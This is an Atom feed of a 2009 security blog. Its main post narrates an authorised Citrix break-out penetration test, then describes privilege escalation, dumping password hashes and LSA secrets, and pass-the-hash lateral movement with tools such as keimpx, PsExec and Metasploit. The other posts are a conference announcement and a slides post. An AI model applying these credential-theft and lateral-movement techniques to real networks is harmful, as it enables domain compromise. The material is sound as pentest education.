<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" gd:etag="W/&quot;DUIGSX84fip7ImA9WxNbEE8.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726</id><updated>2009-11-12T13:05:28.136+01:00</updated><title>Bernardo Damele A. G.</title><subtitle type="html">A weblog about me and my information technology thoughts</subtitle><link rel="http://schemas.google.com/g/2005#feed" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/posts/default" /><link rel="alternate" type="text/html" href="http://bernardodamele.blogspot.com/" /><link rel="hub" href="http://pubsubhubbub.appspot.com/" /><link rel="next" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default?start-index=26&amp;max-results=25&amp;redirect=false&amp;v=2" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><openSearch:totalResults>47</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><link rel="self" href="http://feeds.feedburner.com/BernardoDamele" type="application/atom+xml" /><feedburner:emailServiceId>BernardoDamele</feedburner:emailServiceId><feedburner:feedburnerHostname>http://feedburner.google.com</feedburner:feedburnerHostname><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com" /><entry gd:etag="W/&quot;Ck4GQ3o-cCp7ImA9WxNbEE8.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-1178373283409587496</id><published>2009-11-11T18:04:00.062+01:00</published><updated>2009-11-12T11:15:22.458+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-12T11:15:22.458+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="tool" /><category scheme="http://www.blogger.com/atom/ns#" term="pentest" /><category scheme="http://www.blogger.com/atom/ns#" term="breakout" /><category scheme="http://www.blogger.com/atom/ns#" term="python" /><category scheme="http://www.blogger.com/atom/ns#" term="windows" /><category scheme="http://www.blogger.com/atom/ns#" term="citrix" /><title>Abuse Citrix and own the domain</title><content type="html">&lt;span style="font-family:trebuchet ms;"&gt;&lt;a href="http://imgs.xkcd.com/comics/exploits_of_a_mom.png"&gt;Little Bobby Table&lt;/a&gt; is growing up quickly, he is now performing a &lt;a href="http://www.citrix.com/"&gt;Citrix&lt;/a&gt; break-out assessment: basically the scope of the penetration test consists in executing applications that he is not allowed to after logging to a Citrix MetaFrame or similar environment. Usually a screenshot with a command prompt showing the output of &lt;span style="font-family:courier new;"&gt;ipconfig /all&lt;/span&gt; is enough proof to the Client that you have successfully broken out of the restricted environment and the party can roll out onwards. There are &lt;a href="http://synjunkie.blogspot.com/2009/03/abusing-citrix-part-1.html"&gt;many&lt;/a&gt; &lt;a href="http://synjunkie.blogspot.com/2009/03/abusing-citrix-part-2.html"&gt;tutorials&lt;/a&gt; &lt;a href="http://synjunkie.blogspot.com/2009/03/abusing-citrix-part-3.html"&gt;to&lt;/a&gt; &lt;a href="http://synjunkie.blogspot.com/2009/03/abusing-citrix-part-4.html"&gt;achieve&lt;/a&gt; &lt;a href="http://sh0dan.org/oldfiles/hackingcitrix.html"&gt;this&lt;/a&gt; &lt;a href="http://www.insomniasec.com/publications/Hacking_Citrix.ppt"&gt;goal&lt;/a&gt; and I will &lt;a href="http://en.wikipedia.org/wiki/Don%27t_repeat_yourself"&gt;not repeat them&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Assume that little Bobby asked for help to old uncle &lt;a href="http://www.google.com/intl/xx-bork/"&gt;Google&lt;/a&gt;, found the above mentioned tutorials along with &lt;a href="http://www.youtube.com/watch?v=MLRM_oZvO4c"&gt;some&lt;/a&gt; &lt;a href="http://www.gnucitizen.org/static/blog/2007/10/hc01.wmv"&gt;videos&lt;/a&gt; and successfully broke-out of the environment while &lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;circumventing Windows &lt;a href="http://blogs.technet.com/markrussinovich/archive/2005/12/12/circumventing-group-policy-as-a-limited-user.aspx"&gt;GPO&lt;/a&gt;/&lt;a href="http://blog.didierstevens.com/2008/02/28/introducing-the-basic-process-manipulation-tool-kit/"&gt;SRP&lt;/a&gt; and other security mechanism&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt; getting a command prompt or even an unrestricted&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt; RDP session onto the box.&lt;br /&gt;He now &lt;a href="http://www.youtube.com/watch?v=SzlpTRNIAvc"&gt;feels good&lt;/a&gt;, is excited and wants the Client to know that in about half an hour he broke-out of the environment, then he calls who paid two or more days of assessment to let him know that he is done already with the work and asks for permission to go further with the test and demonstrate how dangerous a malicious attacker could be in such a scenario. The Client agrees.. in the end he paid for the rest of man days, wants to make profit out of them and is keen to know about flaws within his whole network.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-family:trebuchet ms;font-size:130%;"  &gt;What is next?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Little Bobby knows about the beauties of Windows' &lt;span style="font-family:courier new;"&gt;net&lt;/span&gt; command and uses it to enumerate machines within the Windows domain, identify the primary domain controller (PDC), list local and domain users from the PDC/BDC, etc.. all in all gather as much information as possible about the owned system and its network perimeter.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;He can &lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;also &lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;upload his own tools&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt; &lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;by mapping his local &lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;shared &lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;hard-drive via Citrix &lt;a href="http://www.citrix.com/English/ss/downloads/results.asp?productID=186&amp;amp;c1=sot2755"&gt;XenApp&lt;/a&gt; (&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;the new Citrix ICA client for Windows&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;) onto the target Citrix environment, by copy 'n paste and &lt;a href="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/extra/dbgtool/"&gt;debug.exe&lt;/a&gt; trick, via &lt;a href="http://www.bastet.com/muudecode.zip"&gt;muudecode&lt;/a&gt;/&lt;a href="http://www.bastet.com/uue.zip"&gt;uuencode&lt;/a&gt;, or whatever working technique, depending how hardened Citrix is.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;First goal now is to escalate privileges to a highly privileged local user like &lt;span style="font-family:courier new;"&gt;Administrator&lt;/span&gt; or &lt;span style="font-family:courier new;"&gt;LOCAL SYSTEM&lt;/span&gt; assuming that the user is not within the &lt;span style="font-family:courier new;"&gt;Administrators&lt;/span&gt; group already. There exist &lt;a href="http://www.insomniasec.com/publications/Shattering_By_Example.pdf"&gt;several&lt;/a&gt; &lt;a href="http://corelabs.coresecurity.com/index.php?module=Wiki&amp;amp;action=view&amp;amp;type=tool&amp;amp;name=Pass-The-Hash_Toolkit"&gt;techniques&lt;/a&gt; &lt;a href="http://www.mwrinfosecurity.com/publications/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf"&gt;to&lt;/a&gt; &lt;a href="http://technet.microsoft.com/en-us/sysinternals/bb664922.aspx"&gt;do&lt;/a&gt; &lt;a href="http://www.argeniss.com/research/TokenKidnapping.pdf"&gt;so&lt;/a&gt;.&lt;/span&gt; &lt;span style="font-family:trebuchet ms;"&gt;Once done it is game over, you own that system completely.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;What about logging onto other systems?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Surely little Bobby won't stop here. He wants to own all the servers within the network perimeter, above all the PDC and other infrastructure critical servers, like database servers.&lt;br /&gt;&lt;br /&gt;He dumps user's &lt;a href="http://swamp.foofus.net/fizzgig/fgdump/"&gt;password hashes&lt;/a&gt; (Security Accounts Manager), &lt;a href="http://www.nirsoft.net/utils/lsa_secrets_dump.html"&gt;LSA secrets&lt;/a&gt;, &lt;a href="http://www.openwall.com/john/contrib/cachedump-1.2.zip"&gt;passwords cache&lt;/a&gt;, &lt;a href="http://www.nirsoft.net/utils/pspv.html"&gt;protected storage&lt;/a&gt;, &lt;a href="http://94.76.254.40/Revdump_0.2.zip"&gt;reversible encryption storage&lt;/a&gt;, &lt;a href="http://www.toolcrypt.org/index.html?pwhist"&gt;passwords history&lt;/a&gt; and &lt;/span&gt;&lt;a href="http://corelabs.coresecurity.com/index.php?module=Wiki&amp;amp;action=view&amp;amp;type=tool&amp;amp;name=Pass-The-Hash_Toolkit"&gt;&lt;span style="font-family:trebuchet ms;"&gt;current logon sessions tokens&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;. &lt;/span&gt;&lt;a href="http://reedarvin.thearvins.com/downloads/tools/PWDumpX14.zip"&gt;PWDumpX&lt;/a&gt; and &lt;a href="http://www.oxid.it/cain.html"&gt;Cain&amp;amp;Abel&lt;/a&gt; are handy tools along with the others linked.&lt;br /&gt;Now he has collected credentials of many other users: either plain-text or NTLM credentials for all local users, users who logged onto the box since last reboot, &lt;a href="http://corelabs.coresecurity.com/index.php?module=Wiki&amp;amp;action=view&amp;amp;type=publication&amp;amp;name=Pass-the-Hash_Toolkit_for_Windows"&gt;users logged in at the very same time&lt;/a&gt;, and users used to start services.&lt;br /&gt;Hopefully among these credentials, little Bobby has got the hash of a domain user. If he gets very lucky, it will be a domain administrator. Again, &lt;span style="font-family: courier new;"&gt;net&lt;/span&gt; is your friend to check so.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;Now Bobby resurrect the list of enumerated hosts, tries to discover more hosts on the network perimeter via ping sweep, ARP scan and network traffic sniffing with a bunch of uploaded tools. He now has a huge list of hosts to own. On top of the list there are the domain controllers and eventually the database servers!&lt;br /&gt;&lt;br /&gt;At this point he has a list of hosts in one text file and a single file collecting the above dumped hashes (output of PWDumpX et all).&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:trebuchet ms;font-size:130%;"  &gt;&lt;span style="font-weight: bold;"&gt;Own the LAN: the common way&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;&lt;br /&gt;Little Bobby could &lt;a href="http://www.openwall.com/john/"&gt;crack&lt;/a&gt; &lt;a href="http://www.oxid.it/cain.html"&gt;the&lt;/a&gt; &lt;a href="http://www.elcomsoft.com/products.html"&gt;dumped&lt;/a&gt; &lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;a href="http://ophcrack.sourceforge.net/"&gt;password&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt; &lt;a href="http://project-rainbowcrack.com/"&gt;hashes&lt;/a&gt; and try to login over SMB&lt;a href="http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx"&gt;&lt;/a&gt; or RDP with the cracked &lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;plain-text credentials onto the other systems, &lt;span style="font-weight: bold;"&gt;one by one&lt;/span&gt;. To login and execute commands over SMB onto another system he could upload to the Citrix box and run a single executable file, &lt;a href="http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx"&gt;PsExec&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Another tool can be handy, &lt;a href="http://cgi.tenablesecurity.com/tenable/smbshell.php"&gt;smbshell&lt;/a&gt;, a pre-compiled NASL script, but it requires the nasl interpreter and a bunch of other &lt;a href="http://www.nessus.org/"&gt;Nessus&lt;/a&gt; libraries to run, not very convenient in the above scenario. Nevertheless, an advantage over PsExec is that &lt;a href="http://blog.tenablesecurity.com/2007/06/lmntlm-hash-sup.html"&gt;it accepts also the NTLM hash of the password&lt;/a&gt;, so there is no need to crack the password to login over SMB. Like PsExec, it can be used to login &lt;span style="font-weight: bold;"&gt;onto one system at a time&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;Isn't there anything quicker to check usefulness of dumped hashes?&lt;/span&gt;&lt;span style=";font-family:trebuchet ms;font-size:130%;"  &gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Own the &lt;/span&gt;&lt;/span&gt;&lt;span style=";font-family:trebuchet ms;font-size:130%;"  &gt;&lt;span style="font-weight: bold;"&gt;LAN&lt;/span&gt;&lt;/span&gt;&lt;span style=";font-family:trebuchet ms;font-size:130%;"  &gt;&lt;span style="font-weight: bold;"&gt;: t&lt;/span&gt;&lt;/span&gt;&lt;span style=";font-family:trebuchet ms;font-size:130%;"  &gt;&lt;span style="font-weight: bold;"&gt;he quickest way&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;&lt;br /&gt;Our lazy little Bobby heard about a &lt;a style="font-weight: bold;" href="http://code.google.com/p/keimpx/"&gt;new open source multi-threaded tool called &lt;span style="font-style: italic;"&gt;keimpx&lt;/span&gt;&lt;/a&gt; developed in Python that can be used to quickly check for the usefulness of credentials across a network over SMB.&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt; Credentials can be:&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;Combination of user / plain-text password.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="font-weight: bold;"&gt;Combination of user / NTLM hash&lt;/span&gt;.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="font-weight: bold;"&gt;Combination of user / NTLM logon session token&lt;/span&gt;.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family:trebuchet ms;"&gt;If any valid credentials has been identified across the network after its attack phase, the user is asked to choose which host to connect to and which valid credentials to use, then Bobby will be prompted with an &lt;span style="font-weight: bold;"&gt;interactive SMB shell&lt;/span&gt; where he can:&lt;/span&gt; &lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="font-weight: bold;"&gt;Navigate through the available shares&lt;/span&gt;: list, upload, download files, create, remove files, etc.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="font-weight: bold;"&gt;Deploy and undeploy his own service&lt;/span&gt; (for instance, a backdoor listening on a TCP port for incoming connections).&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="font-weight: bold;"&gt;List users' details and domains&lt;/span&gt;.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;Read/write/delete registry keys (&lt;a href="http://code.google.com/p/keimpx/issues/detail?id=1"&gt;soon&lt;/a&gt;).&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;Spawn an interactive command prompt like PsExec can do (&lt;a href="http://code.google.com/p/keimpx/issues/detail?id=2"&gt;soon&lt;/a&gt;).&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family:trebuchet ms;"&gt;This tool does the trick and is the quickest way to identify &lt;span style="font-weight: bold;"&gt;in a single shot&lt;/span&gt; which dumped hashes work on which machines of the network perimeter &lt;span style="font-weight: bold;"&gt;without the need to crack the hashes&lt;/span&gt;. Moreover, it can also be used to login over SMB onto the systems where valid credentials have been spotted and perform the above mentioned operations.&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;br /&gt;&lt;a style="font-weight: bold;" href="http://code.google.com/p/keimpx/"&gt;&lt;span style="font-style: italic;"&gt;keimpx&lt;/span&gt;&lt;/a&gt; is a work in progress tool and &lt;a href="mailto:bernardo.damele@gmail.com"&gt;feedback&lt;/a&gt; is more than welcome&lt;/span&gt;!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;Remember that:&lt;br /&gt;&lt;/span&gt; &lt;ul&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;Many users &lt;a href="http://www.schneier.com/blog/archives/2009/08/password_advice.html"&gt;share the same password across multiple machines&lt;/a&gt;, this might include also &lt;span style="font-family:courier new;"&gt;Administrator&lt;/span&gt;, in such a case you are local administrator on most, if not all, the systems of the network perimeter.&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-family:trebuchet ms;"&gt;You might have been lucky enough to dump also a domain administrator password hash (for instance, via LSA secrets dump, &lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;Pass-the-Hash's &lt;span style="font-family:courier new;"&gt;whosthere.exe&lt;/span&gt; or &lt;a href="http://sourceforge.net/projects/incognito/"&gt;incognito&lt;/a&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;) so you totally own the domain and can login on all systems of the network with the highest global privileged user.&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;  &lt;span style="font-family:trebuchet ms;"&gt;Little Bobby Table can now call the Client and let him know that he has access to most (if not all) the network's machines.&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;&lt;br /&gt;&lt;br /&gt;Own the &lt;/span&gt;&lt;/span&gt;&lt;span style=";font-family:trebuchet ms;font-size:130%;"  &gt;&lt;span style="font-weight: bold;"&gt;LAN&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="font-weight: bold;font-size:130%;" &gt;: the hardcore way&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;If no dumped credentials worked on any other system then Bobby needs to get his hands dirty.&lt;br /&gt;&lt;br /&gt;If the Citrix environment has direct access to the Internet he could initiate an out-of-band connection with his own local system to pivot traffic from the local system to the Citrix machine network perimiter. This can be achieved, for instance, via &lt;a href="http://carnal0wnage.attackresearch.com/node/40"&gt;Metasploit&lt;/a&gt;'s &lt;a href="http://carnal0wnage.attackresearch.com/node/41"&gt;Meterpreter&lt;/a&gt;. From this point on he can launch any &lt;a href="http://metasploit.com/framework/"&gt;Metasploit&lt;/a&gt; module against others boxes to portscan them, perform a vulnerability assessment or exploit security flaws.&lt;br /&gt;Elsewhere, if the Citrix environment has not direct access to the Internet, Bobby can upload a port scanner and his suite of exploits to scan and own them all.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-1178373283409587496?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/JzaZz4MRoPU" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/1178373283409587496/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=1178373283409587496" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/1178373283409587496?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/1178373283409587496?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/JzaZz4MRoPU/abuse-citrix-and-own-domain.html" title="Abuse Citrix and own the domain" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/11/abuse-citrix-and-own-domain.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0YCRn4-cSp7ImA9WxNUGE8.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-7620501475589734976</id><published>2009-11-10T03:37:00.004+01:00</published><updated>2009-11-10T03:46:07.059+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-10T03:46:07.059+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="anti-forensics" /><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="buffer overflow" /><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap" /><category scheme="http://www.blogger.com/atom/ns#" term="conferences" /><title>CONFidence 2009 2.0</title><content type="html">&lt;span style="font-family: trebuchet ms; font-size: 100%;"&gt;My friend &lt;a href="http://milw0rm.com/author/1413"&gt;Guido Landi&lt;/a&gt; and I have been selected as &lt;/span&gt;&lt;span style="font-family: trebuchet ms; font-size: 100%;"&gt;speakers&lt;/span&gt;&lt;span style="font-family: trebuchet ms; font-size: 100%;"&gt; for &lt;a href="http://200902.confidence.org.pl/"&gt;CONFidence 2009 2.0&lt;/a&gt; conference&lt;/span&gt;&lt;span style="font-family: trebuchet ms; font-size: 100%;"&gt;. We are&lt;/span&gt;&lt;span style="font-family: trebuchet ms; font-size: 100%;"&gt; &lt;/span&gt;&lt;a href="http://200902.confidence.org.pl/agenda/"&gt;&lt;span style="font-family: trebuchet ms; font-size: 100%;"&gt;scheduled&lt;/span&gt;&lt;/a&gt;&lt;span style="font-family: trebuchet ms; font-size: 100%;"&gt; to present on November 20.&lt;/span&gt;&lt;span style="font-family: trebuchet ms; font-size: 100%;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms; font-size: 100%;"&gt;We will be presenting a slightly &lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;updated version of o&lt;/span&gt;&lt;span style="font-family: trebuchet ms; font-size: 100%;"&gt;ur presentation titled &lt;/span&gt;&lt;span style="font-family: trebuchet ms; font-size: 100%;"&gt;&lt;span style="font-style: italic;" class="desc-talk-title"&gt;Expanding the Control Over Operating System From the Database&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms; font-size: 100%;"&gt;. &lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;The new abstract is as follows:&lt;/span&gt;&lt;span style="font-size: 100%; font-family: trebuchet ms;"&gt;&lt;blockquote&gt;Using a database (MySQL, PostgreSQL and Microsoft SQL Server), either via a SQL injection or via direct connection, as a stepping stone to control the underlying operating system can be achieved. There is much to say on operating system control by owning a database server: Windows registry access, anti-forensics technique to establish an out-of-band stealth connection, buffer overflow exploitation with memory protections bypass and custom user-defined function injection. These topics and more will be highlighted during the presentation.&lt;/blockquote&gt;The Conference will take place on November 19 - 20, 2009 at &lt;/span&gt;&lt;a href="http://200902.confidence.org.pl/miejsce-konferencji/"&gt;&lt;span style="font-family: trebuchet ms;"&gt;Femina Cinema&lt;/span&gt;&lt;/a&gt;&lt;span style="font-size: 100%; font-family: trebuchet ms;"&gt; in Warsaw (Poland), don't miss it if you can!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-7620501475589734976?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/G-Jmph_LM4I" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/7620501475589734976/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=7620501475589734976" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/7620501475589734976?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/7620501475589734976?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/G-Jmph_LM4I/confidence-2009-20.html" title="CONFidence 2009 2.0" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/11/confidence-2009-20.html</feedburner:origLink></entry><entry gd:etag="W/&quot;Ck4GQns6cCp7ImA9WxNUGE8.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-7284793464974859974</id><published>2009-09-26T00:21:00.008+02:00</published><updated>2009-11-10T03:42:03.518+01:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-10T03:42:03.518+01:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="slides" /><category scheme="http://www.blogger.com/atom/ns#" term="dep" /><category scheme="http://www.blogger.com/atom/ns#" term="buffer overflow" /><category scheme="http://www.blogger.com/atom/ns#" term="database" /><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap" /><category scheme="http://www.blogger.com/atom/ns#" term="networking" /><category scheme="http://www.blogger.com/atom/ns#" term="conferences" /><title>Expanding the control over the operating system from the database</title><content type="html">&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;On Tuesday I came back from Barcelona (Spain) where I gave a &lt;a href="http://bernardodamele.blogspot.com/2009/09/source-barcelona-2009.html"&gt;talk&lt;/a&gt; with my friend &lt;a href="http://www.pornosecurity.org/"&gt;Guido Landi&lt;/a&gt; at &lt;a href="http://www.sourceconference.com/index.php/source-barcelona-2009"&gt;SOURCE Conference 2009&lt;/a&gt;&lt;a href="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-main.html"&gt;&lt;/a&gt;, met some very smart people, had good chats, fun times too and ate amazing &lt;a href="http://en.wikipedia.org/wiki/Tapas"&gt;spanish tapas&lt;/a&gt; with tasty local &lt;a href="http://en.wikipedia.org/wiki/Rioja_%28wine%29"&gt;red wine&lt;/a&gt;!&lt;br /&gt;&lt;br /&gt;Thanks &lt;a href="http://www.sourceconference.com/index.php/source-barcelona-2009/barc-2009-team"&gt;SOURCE Barcelona 2009 team&lt;/a&gt; for organizing such a great event and giving me the opportunity to come over!&lt;br /&gt;&lt;br /&gt;Our presentation slides are &lt;a href="http://www.slideshare.net/inquis/expanding-the-control-over-the-operating-system-from-the-database"&gt;online&lt;/a&gt; on Slideshare. You &lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;can also read them below.&lt;/span&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;&lt;br /&gt;&lt;br /&gt;I also released sqlmap &lt;span style="font-weight: bold;"&gt;0.8 release candidate 1&lt;/span&gt; &lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;with all of the new features described during my presentation at the Conference. You can also checkout the source code from the sqlmap &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/"&gt;Subversion&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; repository.&lt;/span&gt;&lt;br /&gt;&lt;code style="font-family: courier new;"&gt;&lt;/code&gt;&lt;blockquote&gt;&lt;span style="font-family: courier new;"&gt;$ svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap/ sqlmap&lt;/span&gt;&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="width: 425px; text-align: left;" id="__ss_2060797"&gt;&lt;object style="margin: 0px;" height="355" width="425"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=source-barcelona-2009-damele-landi-expanding-the-control-090924105645-phpapp01&amp;amp;rel=0&amp;amp;stripped_title=expanding-the-control-over-the-operating-system-from-the-database"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=source-barcelona-2009-damele-landi-expanding-the-control-090924105645-phpapp01&amp;amp;rel=0&amp;amp;stripped_title=expanding-the-control-over-the-operating-system-from-the-database" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" height="355" width="425"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-7284793464974859974?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/iTeAz-BNCKo" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/7284793464974859974/comments/default" title="Post Comments" /><link rel="replies" type="text/html" 